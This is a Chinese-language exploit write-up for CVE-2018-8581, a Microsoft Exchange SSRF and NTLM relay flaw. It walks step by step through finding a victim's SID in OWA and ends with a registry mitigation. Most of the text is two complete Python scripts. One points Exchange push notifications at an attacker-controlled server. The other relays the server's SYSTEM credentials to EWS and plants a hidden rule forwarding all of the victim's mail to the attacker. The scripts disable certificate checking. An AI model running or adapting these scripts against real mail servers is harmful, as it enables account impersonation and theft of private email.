导语:本文将详细分析Microsoft Exchange的任意用户伪造漏洞,该漏洞允许任何经过身份验证的用户冒充Exchange Server上的其他任意用户。

概述

本文将详细分析Microsoft Exchange的任意用户伪造漏洞,该漏洞允许任何经过身份验证的用户冒充Exchange Server上的其他任意用户。

来自ZDI的Dustin Childs在不久前曾发表了关于Exchange漏洞的分析文章。尽管该漏洞可以用于某些工作场景的用户伪造,但更有可能的是,这一漏洞会被攻击者用于进行网络钓鱼、数据窃取或是其他恶意活动。在本文中,将深入分析这一服务器端请求伪造(SSRF)漏洞的详细信息,并复现了仿冒用户的方法。

漏洞详情

这一用户伪造漏洞,是由SSRF漏洞与其他漏洞相结合而产生的。Exchange允许任何用户为推送订阅(Push Subscription)指定所需的URL,服务器将尝试向这一URL发送通知。这一漏洞之所以存在,是因为Exchange Server使用CredentialCache.DefaultCredentials进行连接:

1.png

在Exchange Web服务中,CredentialCache.DefaultCredentials会以NT AUTHORITY\SYSTEM权限运行。这将导致Exchange Server将NTLM哈希值发送到攻击者的服务器。Exchange Server默认情况下还设置了以下注册表项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1

这样一来,就允许我们使用这些NTLM哈希值进行HTTP身份验证。例如,可以使用这些哈希值来访问Exchange Web服务(EWS)。由于它正在以NT AUTHORITY\SYSTEM权限运行,所以攻击者可以与TokenSerializationRight进行“特权”会话,然后利用SOAP头部模拟任何想要伪装的用户。

我们使用SID为S-1-5-21-4187549019-2363330540-1546371449-500的用户,伪装成管理员用户,其SOAP头部如下:

2.png

漏洞利用

在漏洞演示中,我们会使用到几个Python脚本:

1、serverHTTP_relayNTLM.py:从入站连接中,获取NTLM哈希值,并将其用于Exchange Web服务的身份验证;

2、Exch_EWS_pushSubscribe.py:使用URL,将推送订阅(Push Subscribe)Exchange Web服务调用到serverHTTP_relayNTLM.py之中。

各位读者可以在附录中找到这些脚本的源代码。此外,还需要Python中的python-ntlm模块。

漏洞利用的第一步,需要首先获取我们想要伪装的用户的SID。下面,将介绍一种可行的方案。

1、以授权用户的身份登录OWA。在这种情况下,我们以“attacker”(攻击者)的身份登录。

3.png

2、接下来,创建任意新文件夹。我们创建的文件夹名称为“tempFold”(临时文件夹)。单击菜单中的“Permissions…”(权限…)选项。

4.png

3、在这里,添加目标用户(受害者)的电子邮件地址以进行模拟。在示例中,我们的目标是[email protected]

5.png

4、现在,我们需要按F12键,并选择“Network Tab”(网络选项卡)。之后,再次在新文件夹的菜单中选择“Permissions…”(权限…)选项。

6.png

5、我们需要检查第一个service.svc?action=GetFolder请求的响应。要查看该内容,需要导航至:

Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID

其中的N,在示例中是2(最近的一个),但在各位读者的实际尝试过程中,可以检查所有值,从而找到正确的一个。其中的PrimarySmtpAddress,应该是攻击目标。如果响应中不包含PermissionSet项,那么我们就应该查看其他的service.svc?action=GetFolder请求。

7.png

6、我们将在serverHTTP_relayNTLM.py脚本中使用该SID来模拟受害用户。此外,我们需要选择一个不太可能在受攻击者控制的计算机上被阻止的TCP端口,从而允许Exchange Server进行出站连接。例如,TCP/8080端口看上去是一个不错的选择。

现在,让我们使用真实场景中的信息,来修改serverHTTP_relayNTLM.py中的相应位置。

8.png

一旦脚本中具有正确的变量,我们就可以开始接下来的工作了。

9.png

7、下一步,是在Exch_EWS_pushSubscribe.py脚本中,设置适当的变量。

10.png

完成后,我们就可以执行该脚本。

11.png

8、最后一步,我们还需要一些事件来触发推送订阅(Push Notification)。为了保持隐蔽性,我们可以等待一段时间,或者执行一些操作,例如编写并发送新电子邮件、删除刚刚创建的文件夹等。

12.png

如果一切顺利,应该可以从Exchange Server接收到我们的serverHTTP_relayNTLM.py地入站连接。

13.png

如果攻击成功,那么可以在最后一个响应中看到ResponseClass="Success"。这意味着,入站规则已经添加到受害者的邮箱,并且所有入站的电子邮件都将转发给攻击者。

现在,一切都已经就绪,是时候测试我们的新规则了。我们需要从任意帐户向受害者的邮箱发送电子邮件,但与不能使用新规则中的目标地址发送邮件(在此示例中,为[email protected]),原因在于,如果发件人和收件人是相同的地址,该规则将不会转发这封邮件。接下来,我们以管理员身份登录,并向受害者发送一些“敏感”信息。

14.png

检查攻击者的收件箱,我们看到,邮件已经成功从受害者邮箱中转发。

15.png

我们可以看到,新的电子邮件将会转发给攻击者。通过其他Exchange Web服务API(例如AddDelegate),或者为目标文件夹分配编辑的权限,也可以实现类似的效果。

漏洞补丁

Microsoft在2018年11月发布的补丁中,对该漏洞进行了缓解,漏洞编号为CVE-2018-8581。但实际上,并没有针对该漏洞进行严格意义上的修复。Microsoft表示,应该删除某个特定的注册表项,从而启用环回检查。如上文所述,Exchange Server默认设置了以下注册表项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1

如果删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck键值,那么这一漏洞将无法被利用。要删除注册表项,需要在管理员权限的命令行窗口中,输入如下命令:

16.png

在删除键值后,无需重新启动操作系统,也无需重新启动Exchange Server。Microsoft发布的公告指出,在此后Exchange累计更新中,将不会再默认启动这一注册表项。

总结

对于攻击者来说,多年来,Exchange Server一直是一个受欢迎的目标,因为电子邮件已经成为我们工作中的一个核心组成部分。该漏洞允许伪装成任意用户,此前报告的一个漏洞还允许任意代码执行,而这两个漏洞都向我们展示了,有时最大的威胁时来自企业的内部。此外,这些漏洞还展现了外部攻击者是如何从单一突破口向整个企业中扩散的。

附录

Exch_EWS_pushSubscribe.py

#!/usr/bin/python
import socket
import base64
import httplib
import urllib
import os, ssl
from ntlm import ntlm
 
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
ip='exch2016.contoso.local'
tcp_port = 443
#PROTO='http'
PROTO='https'
 
#Credentials of attacker
USER = 'attacker'
DOMAIN = 'contoso.local'
PASS = '[email protected]'
 
URL = "/EWS/Exchange.asmx"
 
#URL of our HTTP server that will use NTLM hashes for impersonation of victim
EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"
 
#Debug flag:
print_debug_info = 1
 
 
try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
 
 
def main(ip,port,proto):      
      
       #Connection to server
       if proto=='https':
              conn = httplib.HTTPSConnection(ip,port)
              #conn = httplib.HTTPSConnection(ip)
       else:
              conn = httplib.HTTPConnection(ip,port)
      
       print "Sending 'PushSubscription' EWS request..."
      
       #SOAP request with URL pointing to our Evil HTTP server
       body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
   </soap:Header>
   <soap:Body >
      <m:Subscribe>
         <m:PushSubscriptionRequest SubscribeToAllFolders="true">
                 <t:EventTypes>
          <t:EventType>NewMailEvent</t:EventType>
          <t:EventType>ModifiedEvent</t:EventType>
          <t:EventType>MovedEvent</t:EventType>
        </t:EventTypes>
               <t:StatusFrequency>1</t:StatusFrequency>
               <t:CallerData>DesktopOutlook</t:CallerData>
               <t:URL>''' +EVIL_HTTPSERVER_URL+'''</t:URL>
         </m:PushSubscriptionRequest>
      </m:Subscribe>
   </soap:Body>
</soap:Envelope>
'''
      
       #Headers with NTLM NEGOTIATE
       ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN+"\\"+USER)
       headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
 
       #sending request and receiving response
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received response:"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
       if response.status == 401:
                    
                     print "\nGot 401 response with NTLM NONCE."
                     print "Trying authenticate current user..."
 
                     #Calculation of NTLM AUTHENTICATE response
                     Nonce = response.getheader("WWW-Authenticate")
                     (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
                     ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,USER,DOMAIN,PASS,NegotiateFlags)
 
                     #Adding NTLM response in Authorization header
                     headers["Authorization"] = "NTLM " + ntlmresponce
 
                     #sending request and receiving response
                     conn.request("POST", URL, body, headers)
                     response = conn.getresponse()
                     resp_data = response.read()
 
                     if print_debug_info:
                             print "\n[DEBUG]: Received response:"
                             print response.status, response.reason, '\n',response.msg, '\n', resp_data
                       
                     if response.status == 401:
                             print "\nAuthentication ERROR:"
                             print "Cannot authenticate '"+DOMAIN + "/" + USER + "' with password '" + PASS +"'"
 
       conn.close()
             
       print "\n\nThe Script is finished. \n"
      
       return 1
 
print "Address:\n %s:%u\n\n" %(PROTO+'://'+ip,tcp_port)
main(ip,tcp_port,PROTO)

serverHTTP_relayNTLM.py

#!/usr/bin/python
import socket
import sys
import struct
import base64
import httplib
import ssl
import binascii
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
 
 
#Port for the HTTP server
#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py
HTTPPORT = 8080
 
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS
target_ip='exch2016.contoso.local'
target_port = 443
PROTO='https'
#PROTO='http'
 
#Path to EWS
URL = "/EWS/Exchange.asmx"
 
#SMTP addresses of attacker mailbox (we will receive all emails sent to victim)
ATTACKER = "[email protected]"
 
VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"
 
#Debug flag:
print_debug_info = 1
 
try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
      
#EWS request that will add inbound rule in victims mailbox
body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="Exchange2016" />
    
<m:SerializedSecurityContext>
<m:UserSid>'''+VICTIM_SID+'''</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>'''+VICTIM_SID+'''</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
  
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
 
</soap:Header>   
  <soap:Body>
      <m:UpdateInboxRules>
        <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>
        <m:Operations>
          <t:CreateRuleOperation>
            <t:Rule>
              <t:DisplayName>SomeRule</t:DisplayName>
              <t:Priority>1</t:Priority>
              <t:IsEnabled>true</t:IsEnabled>
              <t:Conditions />
              <t:Exceptions />
              <t:Actions>
                <t:ForwardToRecipients>
                 <t:Address>
                         <t:EmailAddress>'''+ATTACKER+'''</t:EmailAddress>
                 </t:Address>
                </t:ForwardToRecipients>
              </t:Actions>
            </t:Rule>
          </t:CreateRuleOperation>
        </m:Operations>
      </m:UpdateInboxRules>
  </soap:Body>
</soap:Envelope>
'''
 
#This function takes NTLMSSP_NEGOTIATE and sends value to EWS
#When EWS responds with NTLMSSP_CHALLENGE it will be returned as result of this function
def get_ntlm_challenge(ntlm_negotiate):
 
       headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
       if response.status == 401:
                     Nonce = response.getheader("WWW-Authenticate")
 
return Nonce
 
#This function takes NTLMSSP_AUTH and sends it to EWS
#As a result we will be authenticated by EWS as "Exchenge server"
def use_ntlm_auth(ntlm_auth):
 
       headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received EWS response(use_ntlm_auth):"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
#Connection to EWS
if PROTO=='https':
       conn = httplib.HTTPSConnection(target_ip,target_port)
else:
       conn = httplib.HTTPConnection(target_ip,target_port)
 
#we will use this  to stop our HTTP server after the attack
step=1
 
class postHandler(BaseHTTPRequestHandler):
       #Handler for the POST requests
       def do_POST(self):
              global step
              headers = self.headers
              print headers
              authHeader = headers.getheader('Authorization')
              if not authHeader:
                 self.send_response(401)
                 self.send_header('WWW-Authenticate:','NTLM')
                 self.end_headers()
                 step=1
              else:
                     if step==1:
                            ntlm_negotiate = authHeader
                            step=2;
                            if print_debug_info:
                                   print "\n[DEBUG]: NTLM NEGOTIATE string:"
                                   print ntlm_negotiate
                            #Sending EWS request with NTLM NEGOTIATE  and getting NTLM CHALLENGE
                            ntlm_challenge = get_ntlm_challenge(ntlm_negotiate)
                            self.send_response(401)
                            self.send_header('WWW-Authenticate:',ntlm_challenge)
                            self.end_headers()
                     else:
                            self.send_response(401)
                            self.end_headers()
                            ntlm_auth = authHeader
                            if print_debug_info:
                                   print "\n[DEBUG]: NTLM Auth string:"
                                   print ntlm_auth
                            #Sending EWS requets with NTLM AUTH
                            use_ntlm_auth(ntlm_auth)
                            #Let's stop this script
                            step=3
              return
 
try:
       #Create a web server and define the handler to manage the
       #incoming request
       server = HTTPServer(('', HTTPPORT), postHandler)
       print 'Started httpserver on port ' , HTTPPORT
      
       while not(step==3):
              server.handle_request()
 
except KeyboardInterrupt:
       print '^C received, shutting down the web server'
       server.socket.close()
源链接

Hacking more

...